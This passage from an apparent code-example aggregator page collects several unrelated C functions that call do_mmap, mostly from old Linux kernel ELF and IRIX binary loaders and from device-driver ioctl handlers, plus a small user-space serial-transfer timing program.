		if (elf_ppnt->p_type == PT_INTERP) {
			/* This is the program interpreter used for
			 * shared libraries - for now assume that this
			 * is an a.out format binary
			 */
			retval = -ENOEXEC;
			if (elf_ppnt->p_filesz > PATH_MAX || 
			    elf_ppnt->p_filesz < 2)
				goto out_free_file;

			retval = -ENOMEM;
			elf_interpreter = kmalloc(elf_ppnt->p_filesz,
						  GFP_KERNEL);
			if (!elf_interpreter)
				goto out_free_file;

			retval = kernel_read(bprm->file, elf_ppnt->p_offset,
					     elf_interpreter,
					     elf_ppnt->p_filesz);
			if (retval != elf_ppnt->p_filesz) {
				if (retval >= 0)
					retval = -EIO;
				goto out_free_interp;
			}
			/* make sure path is NULL terminated */
			retval = -ENOEXEC;
			if (elf_interpreter[elf_ppnt->p_filesz - 1] != '\0')
				goto out_free_interp;

			/*
			 * The early SET_PERSONALITY here is so that the lookup
			 * for the interpreter happens in the namespace of the 
			 * to-be-execed image.  SET_PERSONALITY can select an
			 * alternate root.
			 *
			 * However, SET_PERSONALITY is NOT allowed to switch
			 * this task into the new images's memory mapping
			 * policy - that is, TASK_SIZE must still evaluate to
			 * that which is appropriate to the execing application.
			 * This is because exit_mmap() needs to have TASK_SIZE
			 * evaluate to the size of the old image.
			 *
			 * So if (say) a 64-bit application is execing a 32-bit
			 * application it is the architecture's responsibility
			 * to defer changing the value of TASK_SIZE until the
			 * switch really is going to happen - do this in
			 * flush_thread().	- akpm
			 */
			SET_PERSONALITY(loc->elf_ex, 0);

			interpreter = open_exec(elf_interpreter);
			retval = PTR_ERR(interpreter);
			if (IS_ERR(interpreter))
				goto out_free_interp;

			/*
			 * If the binary is not readable then enforce
			 * mm->dumpable = 0 regardless of the interpreter's
			 * permissions.
			 */
			if (file_permission(interpreter, MAY_READ) < 0)
				bprm->interp_flags |= BINPRM_FLAGS_ENFORCE_NONDUMP;

			retval = kernel_read(interpreter, 0, bprm->buf,
					     BINPRM_BUF_SIZE);
			if (retval != BINPRM_BUF_SIZE) {
				if (retval >= 0)
					retval = -EIO;
				goto out_free_dentry;
			}

			/* Get the exec headers */
			loc->interp_elf_ex = *((struct elfhdr *)bprm->buf);
			break;
		}
		elf_ppnt++;
	}

	elf_ppnt = elf_phdata;
	for (i = 0; i < loc->elf_ex.e_phnum; i++, elf_ppnt++)
		if (elf_ppnt->p_type == PT_GNU_STACK) {
			if (elf_ppnt->p_flags & PF_X)
				executable_stack = EXSTACK_ENABLE_X;
			else
				executable_stack = EXSTACK_DISABLE_X;
			break;
		}

	/* Some simple consistency checks for the interpreter */
	if (elf_interpreter) {
		retval = -ELIBBAD;
		/* Not an ELF interpreter */
		if (memcmp(loc->interp_elf_ex.e_ident, ELFMAG, SELFMAG) != 0)
			goto out_free_dentry;
		/* Verify the interpreter has a valid arch */
		if (!elf_check_arch(&loc->interp_elf_ex))
			goto out_free_dentry;
	} else {
		/* Executables without an interpreter also need a personality  */
		SET_PERSONALITY(loc->elf_ex, 0);
	}

	/* Flush all traces of the currently running executable */
	retval = flush_old_exec(bprm);
	if (retval)
		goto out_free_dentry;

	/* OK, This is the point of no return */
	current->flags &= ~PF_FORKNOEXEC;
	current->mm->def_flags = def_flags;

	/* Do this immediately, since STACK_TOP as used in setup_arg_pages
	   may depend on the personality.  */
	SET_PERSONALITY(loc->elf_ex, 0);
	if (elf_read_implies_exec(loc->elf_ex, executable_stack))
		current->personality |= READ_IMPLIES_EXEC;

	if (!(current->personality & ADDR_NO_RANDOMIZE) && randomize_va_space)
		current->flags |= PF_RANDOMIZE;
	arch_pick_mmap_layout(current->mm);

	/* Do this so that we can load the interpreter, if need be.  We will
	   change some of these later */
	current->mm->free_area_cache = current->mm->mmap_base;
	current->mm->cached_hole_size = 0;
	retval = setup_arg_pages(bprm, randomize_stack_top(STACK_TOP),
				 executable_stack);
	if (retval < 0) {
		send_sig(SIGKILL, current, 0);
		goto out_free_dentry;
	}
	
	current->mm->start_stack = bprm->p;

	/* Now we do a little grungy work by mmaping the ELF image into
	   the correct location in memory. */
	for(i = 0, elf_ppnt = elf_phdata;
	    i < loc->elf_ex.e_phnum; i++, elf_ppnt++) {
		int elf_prot = 0, elf_flags;
		unsigned long k, vaddr;

		if (elf_ppnt->p_type != PT_LOAD)
			continue;

		if (unlikely (elf_brk > elf_bss)) {
			unsigned long nbyte;
	            
			/* There was a PT_LOAD segment with p_memsz > p_filesz
			   before this one. Map anonymous pages, if needed,
			   and clear the area.  */
			retval = set_brk (elf_bss + load_bias,
					  elf_brk + load_bias);
			if (retval) {
				send_sig(SIGKILL, current, 0);
				goto out_free_dentry;
			}
			nbyte = ELF_PAGEOFFSET(elf_bss);
			if (nbyte) {
				nbyte = ELF_MIN_ALIGN - nbyte;
				if (nbyte > elf_brk - elf_bss)
					nbyte = elf_brk - elf_bss;
				if (clear_user((void __user *)elf_bss +
							load_bias, nbyte)) {
					/*
					 * This bss-zeroing can fail if the ELF
					 * file specifies odd protections. So
					 * we don't check the return value
					 */
				}
			}
		}

		if (elf_ppnt->p_flags & PF_R)
			elf_prot |= PROT_READ;
		if (elf_ppnt->p_flags & PF_W)
			elf_prot |= PROT_WRITE;
		if (elf_ppnt->p_flags & PF_X)
			elf_prot |= PROT_EXEC;

		elf_flags = MAP_PRIVATE | MAP_DENYWRITE | MAP_EXECUTABLE;

		vaddr = elf_ppnt->p_vaddr;
		if (loc->elf_ex.e_type == ET_EXEC || load_addr_set) {
			elf_flags |= MAP_FIXED;
		} else if (loc->elf_ex.e_type == ET_DYN) {
			/* Try and get dynamic programs out of the way of the
			 * default mmap base, as well as whatever program they
			 * might try to exec.  This is because the brk will
			 * follow the loader, and is not movable.  */
#ifdef CONFIG_X86
			load_bias = 0;
#else
			load_bias = ELF_PAGESTART(ELF_ET_DYN_BASE - vaddr);
#endif
		}

		error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt,
				elf_prot, elf_flags, 0);
		if (BAD_ADDR(error)) {
			send_sig(SIGKILL, current, 0);
			retval = IS_ERR((void *)error) ?
				PTR_ERR((void*)error) : -EINVAL;
			goto out_free_dentry;
		}

		if (!load_addr_set) {
			load_addr_set = 1;
			load_addr = (elf_ppnt->p_vaddr - elf_ppnt->p_offset);
			if (loc->elf_ex.e_type == ET_DYN) {
				load_bias += error -
				             ELF_PAGESTART(load_bias + vaddr);
				load_addr += load_bias;
				reloc_func_desc = load_bias;
			}
		}
		k = elf_ppnt->p_vaddr;
		if (k < start_code)
			start_code = k;
		if (start_data < k)
			start_data = k;

		/*
		 * Check to see if the section's size will overflow the
		 * allowed task size. Note that p_filesz must always be
		 * <= p_memsz so it is only necessary to check p_memsz.
		 */
		if (BAD_ADDR(k) || elf_ppnt->p_filesz > elf_ppnt->p_memsz ||
		    elf_ppnt->p_memsz > TASK_SIZE ||
		    TASK_SIZE - elf_ppnt->p_memsz < k) {
			/* set_brk can never work. Avoid overflows. */
			send_sig(SIGKILL, current, 0);
			retval = -EINVAL;
			goto out_free_dentry;
		}

		k = elf_ppnt->p_vaddr + elf_ppnt->p_filesz;

		if (k > elf_bss)
			elf_bss = k;
		if ((elf_ppnt->p_flags & PF_X) && end_code < k)
			end_code = k;
		if (end_data < k)
			end_data = k;
		k = elf_ppnt->p_vaddr + elf_ppnt->p_memsz;
		if (k > elf_brk)
			elf_brk = k;
	}

	loc->elf_ex.e_entry += load_bias;
	elf_bss += load_bias;
	elf_brk += load_bias;
	start_code += load_bias;
	end_code += load_bias;
	start_data += load_bias;
	end_data += load_bias;

	/* Calling set_brk effectively mmaps the pages that we need
	 * for the bss and break sections.  We must do this before
	 * mapping in the interpreter, to make sure it doesn't wind
	 * up getting placed where the bss needs to go.
	 */
	retval = set_brk(elf_bss, elf_brk);
	if (retval) {
		send_sig(SIGKILL, current, 0);
		goto out_free_dentry;
	}
	if (likely(elf_bss != elf_brk) && unlikely(padzero(elf_bss))) {
		send_sig(SIGSEGV, current, 0);
		retval = -EFAULT; /* Nobody gets to see this, but.. */
		goto out_free_dentry;
	}

	if (elf_interpreter) {
		unsigned long uninitialized_var(interp_map_addr);

		elf_entry = load_elf_interp(&loc->interp_elf_ex,
					    interpreter,
					    &interp_map_addr,
					    load_bias);
		if (!IS_ERR((void *)elf_entry)) {
			/*
			 * load_elf_interp() returns relocation
			 * adjustment
			 */
			interp_load_addr = elf_entry;
			elf_entry += loc->interp_elf_ex.e_entry;
		}
		if (BAD_ADDR(elf_entry)) {
			force_sig(SIGSEGV, current);
			retval = IS_ERR((void *)elf_entry) ?
					(int)elf_entry : -EINVAL;
			goto out_free_dentry;
		}
		reloc_func_desc = interp_load_addr;

		allow_write_access(interpreter);
		fput(interpreter);
		kfree(elf_interpreter);
	} else {
		elf_entry = loc->elf_ex.e_entry;
		if (BAD_ADDR(elf_entry)) {
			force_sig(SIGSEGV, current);
			retval = -EINVAL;
			goto out_free_dentry;
		}
	}

	kfree(elf_phdata);

	sys_close(elf_exec_fileno);

	set_binfmt(&elf_format);

#ifdef ARCH_HAS_SETUP_ADDITIONAL_PAGES
	retval = arch_setup_additional_pages(bprm, executable_stack);
	if (retval < 0) {
		send_sig(SIGKILL, current, 0);
		goto out;
	}
#endif /* ARCH_HAS_SETUP_ADDITIONAL_PAGES */

	compute_creds(bprm);
	current->flags &= ~PF_FORKNOEXEC;
	retval = create_elf_tables(bprm, &loc->elf_ex,
			  load_addr, interp_load_addr);
	if (retval < 0) {
		send_sig(SIGKILL, current, 0);
		goto out;
	}
	/* N.B. passed_fileno might not be initialized? */
	current->mm->end_code = end_code;
	current->mm->start_code = start_code;
	current->mm->start_data = start_data;
	current->mm->end_data = end_data;
	current->mm->start_stack = bprm->p;

#ifdef arch_randomize_brk
	if ((current->flags & PF_RANDOMIZE) && (randomize_va_space > 1))
		current->mm->brk = current->mm->start_brk =
			arch_randomize_brk(current->mm);
#endif

	if (current->personality & MMAP_PAGE_ZERO) {
		/* Why this, you ask???  Well SVr4 maps page 0 as read-only,
		   and some applications "depend" upon this behavior.
		   Since we do not have the power to recompile these, we
		   emulate the SVr4 behavior. Sigh. */
		down_write(&current->mm->mmap_sem);
		error = do_mmap(NULL, 0, PAGE_SIZE, PROT_READ | PROT_EXEC,
				MAP_FIXED | MAP_PRIVATE, 0);
		up_write(&current->mm->mmap_sem);
	}

#ifdef ELF_PLAT_INIT
	/*
	 * The ABI may specify that certain registers be set up in special
	 * ways (on i386 %edx is the address of a DT_FINI function, for
	 * example.  In addition, it may also specify (eg, PowerPC64 ELF)
	 * that the e_entry field is the address of the function descriptor
	 * for the startup routine, rather than the address of the startup
	 * routine itself.  This macro performs whatever initialization to
	 * the regs structure is required as well as any relocations to the
	 * function descriptor entries when executing dynamically links apps.
	 */
	ELF_PLAT_INIT(regs, reloc_func_desc);
#endif

	start_thread(regs, elf_entry, bprm->p);
	retval = 0;
out:
	kfree(loc);
out_ret:
	return retval;

	/* error cleanup */
out_free_dentry:
	allow_write_access(interpreter);
	if (interpreter)
		fput(interpreter);
out_free_interp:
	kfree(elf_interpreter);
out_free_file:
	sys_close(elf_exec_fileno);
out_free_ph:
	kfree(elf_phdata);
	goto out;
}
Пример #18
0
int main(int argc, char *argv[])
{
    unsigned int ip, ip_arr[4];
    size_t len;
        
    struct timeval start, end;
    struct stat stat;
        
    if (argc < 4) {
        fprintf(stderr, "Usage: %s <output_file> <method> <IP>\n", argv[0]);
        exit(1);
    }
    if ((fdin = open("/dev/rs232_slave", O_RDONLY)) < 0) {
        perror("open device fail");
        exit(1);
    }
    if(gettimeofday(&start, NULL) < 0) {
        perror("gettimeofday to start fail");
        exit(1);
    }
    if ((fdout = open(argv[1], O_RDWR | O_TRUNC | O_CREAT, 0644)) < 0) {
        perror("open fail");
        exit(1);
    }

    if (sscanf(argv[3], "%u.%u.%u.%u",
        &ip_arr[0], &ip_arr[1], &ip_arr[2], &ip_arr[3]) != 4) {
        fprintf(stderr, "invalid IP\n");
        exit(1);
    }
    ENCODE_IP(ip, ip_arr);
    if (ioctl(fdin, IOCTL_OPENCONN, &ip) < 0) {
        perror("ioctl open connect fail");
        exit(1);
    }
        
    len = strlen(argv[2]);
    if (strncmp("fcntl", argv[2], len) == 0) {
        do_fcntl();
    } else if (strncmp("mmap", argv[2], len) == 0) {
        do_mmap();
    } else {
        fprintf(stderr, "invalid method\n");
        exit(1);
    }
        
    if (ioctl(fdin, IOCTL_CLOSECONN) < 0) {
        perror("ioctl close connect fail");
        exit(1);
    }
        
    if (close(fdin) < 0) {
        perror("close");
        exit(1);
    }
    if (fstat(fdout, &stat) < 0) {
        perror("fstat fail");
        exit(1);
        }
    if (close(fdout) < 0) {
        perror("close");
        exit(1);
    }

    if (gettimeofday(&end, NULL) < 0) {
        perror("gettimeofday to end fail");
        exit(1);
    }
        
    if (end.tv_usec < start.tv_usec) {
        end.tv_sec -= 1;
        end.tv_usec += 1000000;
    }
    printf("Transmission time: %lf ms, File size: %lu bytes\n",
        ((end.tv_sec - start.tv_sec) * 1000 +
        ((double)(end.tv_usec - start.tv_usec) / 1000)),
        (size_t)(stat.st_size));

    return 0;
}
Пример #19
0
/* These are the functions used to load ELF style executables and shared
 * libraries.  There is no binary dependent code anywhere else.
 */
static int load_irix_binary(struct linux_binprm * bprm, struct pt_regs * regs)
{
	struct elfhdr elf_ex, interp_elf_ex;
	struct file *interpreter;
	struct elf_phdr *elf_phdata, *elf_ihdr, *elf_ephdr;
	unsigned int load_addr, elf_bss, elf_brk;
	unsigned int elf_entry, interp_load_addr = 0;
	unsigned int start_code, end_code, end_data, elf_stack;
	int retval, has_interp, has_ephdr, size, i;
	char *elf_interpreter;
	mm_segment_t old_fs;

	load_addr = 0;
	has_interp = has_ephdr = 0;
	elf_ihdr = elf_ephdr = NULL;
	elf_ex = *((struct elfhdr *) bprm->buf);
	retval = -ENOEXEC;

	if (verify_binary(&elf_ex, bprm))
		goto out;

	/*
	 * Telling -o32 static binaries from Linux and Irix apart from each
	 * other is difficult. There are 2 differences to be noted for static
	 * binaries from the 2 operating systems:
	 *
	 *    1) Irix binaries have their .text section before their .init
	 *       section. Linux binaries are just the opposite.
	 *
	 *    2) Irix binaries usually have <= 12 sections and Linux
	 *       binaries have > 20.
	 *
	 * We will use Method #2 since Method #1 would require us to read in
	 * the section headers which is way too much overhead. This appears
	 * to work for everything we have ran into so far. If anyone has a
	 * better method to tell the binaries apart, I'm listening.
	 */
	if (elf_ex.e_shnum > 20)
		goto out;

	print_elfhdr(&elf_ex);

	/* Now read in all of the header information */
	size = elf_ex.e_phentsize * elf_ex.e_phnum;
	if (size > 65536)
		goto out;
	elf_phdata = kmalloc(size, GFP_KERNEL);
	if (elf_phdata == NULL) {
		retval = -ENOMEM;
		goto out;
	}

	retval = kernel_read(bprm->file, elf_ex.e_phoff, (char *)elf_phdata, size);
	if (retval < 0)
		goto out_free_ph;

	dump_phdrs(elf_phdata, elf_ex.e_phnum);

	/* Set some things for later. */
	for (i = 0; i < elf_ex.e_phnum; i++) {
		switch (elf_phdata[i].p_type) {
		case PT_INTERP:
			has_interp = 1;
			elf_ihdr = &elf_phdata[i];
			break;
		case PT_PHDR:
			has_ephdr = 1;
			elf_ephdr = &elf_phdata[i];
			break;
		};
	}

	pr_debug("\n");

	elf_bss = 0;
	elf_brk = 0;

	elf_stack = 0xffffffff;
	elf_interpreter = NULL;
	start_code = 0xffffffff;
	end_code = 0;
	end_data = 0;

	/*
	 * If we get a return value, we change the value to be ENOEXEC
	 * so that we can exit gracefully and the main binary format
	 * search loop in 'fs/exec.c' will move onto the next handler
	 * which should be the normal ELF binary handler.
	 */
	retval = look_for_irix_interpreter(&elf_interpreter, &interpreter,
					   &interp_elf_ex, elf_phdata, bprm,
					   elf_ex.e_phnum);
	if (retval) {
		retval = -ENOEXEC;
		goto out_free_file;
	}

	if (elf_interpreter) {
		retval = verify_irix_interpreter(&interp_elf_ex);
		if (retval)
			goto out_free_interp;
	}

	/* OK, we are done with that, now set up the arg stuff,
	 * and then start this sucker up.
	 */
	retval = -E2BIG;
	if (!bprm->sh_bang && !bprm->p)
		goto out_free_interp;

	/* Flush all traces of the currently running executable */
	retval = flush_old_exec(bprm);
	if (retval)
		goto out_free_dentry;

	/* OK, This is the point of no return */
	current->mm->end_data = 0;
	current->mm->end_code = 0;
	current->mm->mmap = NULL;
	current->flags &= ~PF_FORKNOEXEC;
	elf_entry = (unsigned int) elf_ex.e_entry;

	/* Do this so that we can load the interpreter, if need be.  We will
	 * change some of these later.
	 */
	setup_arg_pages(bprm, STACK_TOP, EXSTACK_DEFAULT);
	current->mm->start_stack = bprm->p;

	/* At this point, we assume that the image should be loaded at
	 * fixed address, not at a variable address.
	 */
	old_fs = get_fs();
	set_fs(get_ds());

	map_executable(bprm->file, elf_phdata, elf_ex.e_phnum, &elf_stack,
	               &load_addr, &start_code, &elf_bss, &end_code,
	               &end_data, &elf_brk);

	if (elf_interpreter) {
		retval = map_interpreter(elf_phdata, &interp_elf_ex,
					 interpreter, &interp_load_addr,
					 elf_ex.e_phnum, old_fs, &elf_entry);
		kfree(elf_interpreter);
		if (retval) {
			set_fs(old_fs);
			printk("Unable to load IRIX ELF interpreter\n");
			send_sig(SIGSEGV, current, 0);
			retval = 0;
			goto out_free_file;
		}
	}

	set_fs(old_fs);

	kfree(elf_phdata);
	set_personality(PER_IRIX32);
	set_binfmt(&irix_format);
	compute_creds(bprm);
	current->flags &= ~PF_FORKNOEXEC;
	bprm->p = (unsigned long)
	  create_irix_tables((char *)bprm->p, bprm->argc, bprm->envc,
			(elf_interpreter ? &elf_ex : NULL),
			load_addr, interp_load_addr, regs, elf_ephdr);
	current->mm->start_brk = current->mm->brk = elf_brk;
	current->mm->end_code = end_code;
	current->mm->start_code = start_code;
	current->mm->end_data = end_data;
	current->mm->start_stack = bprm->p;

	/* Calling set_brk effectively mmaps the pages that we need for the
	 * bss and break sections.
	 */
	set_brk(elf_bss, elf_brk);

	/*
	 * IRIX maps a page at 0x200000 which holds some system
	 * information.  Programs depend on this.
	 */
	irix_map_prda_page();

	padzero(elf_bss);

	pr_debug("(start_brk) %lx\n" , (long) current->mm->start_brk);
	pr_debug("(end_code) %lx\n" , (long) current->mm->end_code);
	pr_debug("(start_code) %lx\n" , (long) current->mm->start_code);
	pr_debug("(end_data) %lx\n" , (long) current->mm->end_data);
	pr_debug("(start_stack) %lx\n" , (long) current->mm->start_stack);
	pr_debug("(brk) %lx\n" , (long) current->mm->brk);

#if 0 /* XXX No f*****g way dude... */
	/* Why this, you ask???  Well SVr4 maps page 0 as read-only,
	 * and some applications "depend" upon this behavior.
	 * Since we do not have the power to recompile these, we
	 * emulate the SVr4 behavior.  Sigh.
	 */
	down_write(&current->mm->mmap_sem);
	(void) do_mmap(NULL, 0, 4096, PROT_READ | PROT_EXEC,
		       MAP_FIXED | MAP_PRIVATE, 0);
	up_write(&current->mm->mmap_sem);
#endif

	start_thread(regs, elf_entry, bprm->p);
	if (current->ptrace & PT_PTRACED)
		send_sig(SIGTRAP, current, 0);
	return 0;
out:
	return retval;

out_free_dentry:
	allow_write_access(interpreter);
	fput(interpreter);
out_free_interp:
	kfree(elf_interpreter);
out_free_file:
out_free_ph:
	kfree(elf_phdata);
	goto out;
}
Пример #20
0
int
sgi_graphics_ioctl (struct inode *inode, struct file *file, unsigned int cmd, unsigned long arg)
{
	unsigned int board;
	unsigned int devnum = GRAPHICS_CARD (inode->i_rdev);
	int i;

	if ((cmd >= RRM_BASE) && (cmd <= RRM_CMD_LIMIT))
		return rrm_command (cmd-RRM_BASE, (void *) arg);

	switch (cmd){
	case GFX_GETNUM_BOARDS:
		return boards;

	case GFX_GETBOARD_INFO: {
		struct gfx_getboardinfo_args *bia = (void *) arg;
		void   *dest_buf;
		int    max_len;
		
		i = verify_area (VERIFY_READ, (void *) arg, sizeof (struct gfx_getboardinfo_args));
		if (i) return i;
		
		if (__get_user (board,    &bia->board) ||
		    __get_user (dest_buf, &bia->buf) ||
		    __get_user (max_len,  &bia->len))
			return -EFAULT;

		if (board >= boards)
			return -EINVAL;
		if (max_len < sizeof (struct gfx_getboardinfo_args))
			return -EINVAL;
		if (max_len > cards [board].g_board_info_len)
			max_len = cards [boards].g_board_info_len;
		i = verify_area (VERIFY_WRITE, dest_buf, max_len);
		if (i) return i;
		if (copy_to_user (dest_buf, cards [board].g_board_info, max_len))
			return -EFAULT;
		return max_len;
	}

	case GFX_ATTACH_BOARD: {
		struct gfx_attach_board_args *att = (void *) arg;
		void *vaddr;
		int  r;

		i = verify_area (VERIFY_READ, (void *)arg, sizeof (struct gfx_attach_board_args));
		if (i) return i;

		if (__get_user (board, &att->board) ||
		    __get_user (vaddr, &att->vaddr))
			return -EFAULT;

		/* Ok for now we are assuming /dev/graphicsN -> head N even
		 * if the ioctl api suggests that this is not quite the case.
		 *
		 * Otherwise we fail, we use this assumption in the mmap code
		 * below to find our board information.
		 */
		if (board != devnum){
			printk ("Parameter board does not match the current board\n");
			return -EINVAL;
		}

		if (board >= boards)
			return -EINVAL;

		/* If it is the first opening it, then make it the board owner */
		if (!cards [board].g_owner)
			cards [board].g_owner = current;

		/*
		 * Ok, we now call mmap on this file, which will end up calling
		 * sgi_graphics_mmap
		 */
		disable_gconsole ();
		down_write(&current->mm->mmap_sem);
		r = do_mmap (file, (unsigned long)vaddr,
			     cards[board].g_regs_size, PROT_READ|PROT_WRITE,
			     MAP_FIXED|MAP_PRIVATE, 0);
		up_write(&current->mm->mmap_sem);
		if (r)
			return r;
	}

	/* Strange, the real mapping seems to be done at GFX_ATTACH_BOARD,
	 * GFX_MAPALL is not even used by IRIX X server
	 */
	case GFX_MAPALL:
		return 0;

	case GFX_LABEL:
		return 0;

		/* Version check
		 * for my IRIX 6.2 X server, this is what the kernel returns
		 */
	case 1:
		return 3;

	/* Xsgi does not use this one, I assume minor is the board being queried */
	case GFX_IS_MANAGED:
		if (devnum > boards)
			return -EINVAL;
		return (cards [devnum].g_owner != 0);

	default:
		if (cards [devnum].g_ioctl)
			return (*cards [devnum].g_ioctl)(devnum, cmd, arg);
		
	}
	return -EINVAL;
}
Пример #21
0
/* Called through irix_syssgi() to map an elf image given an FD,
 * a phdr ptr USER_PHDRP in userspace, and a count CNT telling how many
 * phdrs there are in the USER_PHDRP array.  We return the vaddr the
 * first phdr was successfully mapped to.
 */
unsigned long irix_mapelf(int fd, struct elf_phdr __user *user_phdrp, int cnt)
{
	unsigned long type, vaddr, filesz, offset, flags;
	struct elf_phdr __user *hp;
	struct file *filp;
	int i, retval;

	pr_debug("irix_mapelf: fd[%d] user_phdrp[%p] cnt[%d]\n",
	         fd, user_phdrp, cnt);

	/* First get the verification out of the way. */
	hp = user_phdrp;
	if (!access_ok(VERIFY_READ, hp, (sizeof(struct elf_phdr) * cnt))) {
		pr_debug("irix_mapelf: bad pointer to ELF PHDR!\n");

		return -EFAULT;
	}

	dump_phdrs(user_phdrp, cnt);

	for (i = 0; i < cnt; i++, hp++) {
		if (__get_user(type, &hp->p_type))
			return -EFAULT;
		if (type != PT_LOAD) {
			printk("irix_mapelf: One section is not PT_LOAD!\n");
			return -ENOEXEC;
		}
	}

	filp = fget(fd);
	if (!filp)
		return -EACCES;
	if (!filp->f_op) {
		printk("irix_mapelf: Bogon filp!\n");
		fput(filp);
		return -EACCES;
	}

	hp = user_phdrp;
	for (i = 0; i < cnt; i++, hp++) {
		int prot;

		retval = __get_user(vaddr, &hp->p_vaddr);
		retval |= __get_user(filesz, &hp->p_filesz);
		retval |= __get_user(offset, &hp->p_offset);
		retval |= __get_user(flags, &hp->p_flags);
		if (retval)
			return retval;

		prot  = (flags & PF_R) ? PROT_READ : 0;
		prot |= (flags & PF_W) ? PROT_WRITE : 0;
		prot |= (flags & PF_X) ? PROT_EXEC : 0;

		down_write(&current->mm->mmap_sem);
		retval = do_mmap(filp, (vaddr & 0xfffff000),
				 (filesz + (vaddr & 0xfff)),
				 prot, (MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE),
				 (offset & 0xfffff000));
		up_write(&current->mm->mmap_sem);

		if (retval != (vaddr & 0xfffff000)) {
			printk("irix_mapelf: do_mmap fails with %d!\n", retval);
			fput(filp);
			return retval;
		}
	}

	pr_debug("irix_mapelf: Success, returning %08lx\n",
		 (unsigned long) user_phdrp->p_vaddr);

	fput(filp);

	if (__get_user(vaddr, &user_phdrp->p_vaddr))
		return -EFAULT;

	return vaddr;
}
Пример #22
0
static unsigned int load_elf_interp(struct elfhdr * interp_elf_ex,
			     struct inode * interpreter_inode)
{
        struct file * file;
	struct elf_phdr *elf_phdata  =  NULL;
	struct elf_phdr *eppnt;
	unsigned int len;
	unsigned int load_addr;
	int elf_exec_fileno;
	int elf_bss;
	int old_fs, retval;
	unsigned int last_bss;
	int error;
	int i, k;
	
	elf_bss = 0;
	last_bss = 0;
	error = load_addr = 0;
	
	/* First of all, some simple consistency checks */
	if((interp_elf_ex->e_type != ET_EXEC && 
	    interp_elf_ex->e_type != ET_DYN) || 
	   (interp_elf_ex->e_machine != EM_386 && interp_elf_ex->e_machine != EM_486) ||
	   (!interpreter_inode->i_op || 
	    !interpreter_inode->i_op->default_file_ops->mmap)){
		return 0xffffffff;
	};
	
	/* Now read in all of the header information */
	
	if(sizeof(struct elf_phdr) * interp_elf_ex->e_phnum > PAGE_SIZE) 
	    return 0xffffffff;
	
	elf_phdata =  (struct elf_phdr *) 
		kmalloc(sizeof(struct elf_phdr) * interp_elf_ex->e_phnum, GFP_KERNEL);
	if(!elf_phdata) return 0xffffffff;
	
	old_fs = get_fs();
	set_fs(get_ds());
	retval = read_exec(interpreter_inode, interp_elf_ex->e_phoff, (char *) elf_phdata,
			   sizeof(struct elf_phdr) * interp_elf_ex->e_phnum);
	set_fs(old_fs);
	
	elf_exec_fileno = open_inode(interpreter_inode, O_RDONLY);
	if (elf_exec_fileno < 0) return 0xffffffff;
	file = current->files->fd[elf_exec_fileno];

	eppnt = elf_phdata;
	for(i=0; i<interp_elf_ex->e_phnum; i++, eppnt++)
	  if(eppnt->p_type == PT_LOAD) {
	    error = do_mmap(file, 
			    eppnt->p_vaddr & 0xfffff000,
			    eppnt->p_filesz + (eppnt->p_vaddr & 0xfff),
			    PROT_READ | PROT_WRITE | PROT_EXEC,
			    MAP_PRIVATE | (interp_elf_ex->e_type == ET_EXEC ? MAP_FIXED : 0),
			    eppnt->p_offset & 0xfffff000);
	    
	    if(!load_addr && interp_elf_ex->e_type == ET_DYN)
	      load_addr = error;
	    k = load_addr + eppnt->p_vaddr + eppnt->p_filesz;
	    if(k > elf_bss) elf_bss = k;
	    if(error < 0 && error > -1024) break;  /* Real error */
	    k = load_addr + eppnt->p_memsz + eppnt->p_vaddr;
	    if(k > last_bss) last_bss = k;
	  }
	
	/* Now use mmap to map the library into memory. */

	
	sys_close(elf_exec_fileno);
	if(error < 0 && error > -1024) {
	        kfree(elf_phdata);
		return 0xffffffff;
	}

	padzero(elf_bss);
	len = (elf_bss + 0xfff) & 0xfffff000; /* What we have mapped so far */

	/* Map the last of the bss segment */
	if (last_bss > len)
	  do_mmap(NULL, len, last_bss-len,
		  PROT_READ|PROT_WRITE|PROT_EXEC,
		  MAP_FIXED|MAP_PRIVATE, 0);
	kfree(elf_phdata);

	return ((unsigned int) interp_elf_ex->e_entry) + load_addr;
}
long s3c_mem_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
#ifdef USE_DMA_ALLOC
	unsigned long virt_addr;
#else
	unsigned long *virt_addr;
#endif

	struct mm_struct *mm = current->mm;
	struct s3c_mem_alloc param;
	struct vm_area_struct *vma;
	unsigned long start, this_pfn;
#ifdef CONFIG_S3C_DMA_MEM
	struct s3c_mem_dma_param dma_param;
#endif

	switch (cmd) {
	case S3C_MEM_ALLOC:
		mutex_lock(&mem_alloc_lock);
		if (copy_from_user(&param, (struct s3c_mem_alloc *)arg,
					sizeof(struct s3c_mem_alloc))) {
			mutex_unlock(&mem_alloc_lock);
			return -EFAULT;
		}
		flag = MEM_ALLOC;
		param.vir_addr = do_mmap(file, 0, param.size,
				(PROT_READ|PROT_WRITE), MAP_SHARED, 0);
		DEBUG("param.vir_addr = %08x, %d\n",
						param.vir_addr, __LINE__);
		if (param.vir_addr == -EINVAL) {
			printk(KERN_INFO "S3C_MEM_ALLOC FAILED\n");
			flag = 0;
			mutex_unlock(&mem_alloc_lock);
			return -EFAULT;
		}
		param.phy_addr = physical_address;
#ifdef USE_DMA_ALLOC
		param.kvir_addr = virtual_address;
#endif

		DEBUG("KERNEL MALLOC : param.phy_addr = 0x%X \t "
				"size = %d \t param.vir_addr = 0x%X, %d\n",
				param.phy_addr, param.size, param.vir_addr,
				__LINE__);

		if (copy_to_user((struct s3c_mem_alloc *)arg, &param,
					sizeof(struct s3c_mem_alloc))) {
			flag = 0;
			mutex_unlock(&mem_alloc_lock);
			return -EFAULT;
		}
		flag = 0;
		mutex_unlock(&mem_alloc_lock);

		break;

	case S3C_MEM_CACHEABLE_ALLOC:
		mutex_lock(&mem_cacheable_alloc_lock);
		if (copy_from_user(&param, (struct s3c_mem_alloc *)arg,
					sizeof(struct s3c_mem_alloc))) {
			mutex_unlock(&mem_cacheable_alloc_lock);
			return -EFAULT;
		}
		flag = MEM_ALLOC_CACHEABLE;
		param.vir_addr = do_mmap(file, 0, param.size,
				(PROT_READ|PROT_WRITE), MAP_SHARED, 0);
		DEBUG("param.vir_addr = %08x, %d\n",
				param.vir_addr, __LINE__);
		if (param.vir_addr == -EINVAL) {
			printk(KERN_INFO "S3C_MEM_ALLOC FAILED\n");
			flag = 0;
			mutex_unlock(&mem_cacheable_alloc_lock);
			return -EFAULT;
		}
		param.phy_addr = physical_address;
		DEBUG("KERNEL MALLOC : param.phy_addr = 0x%X"
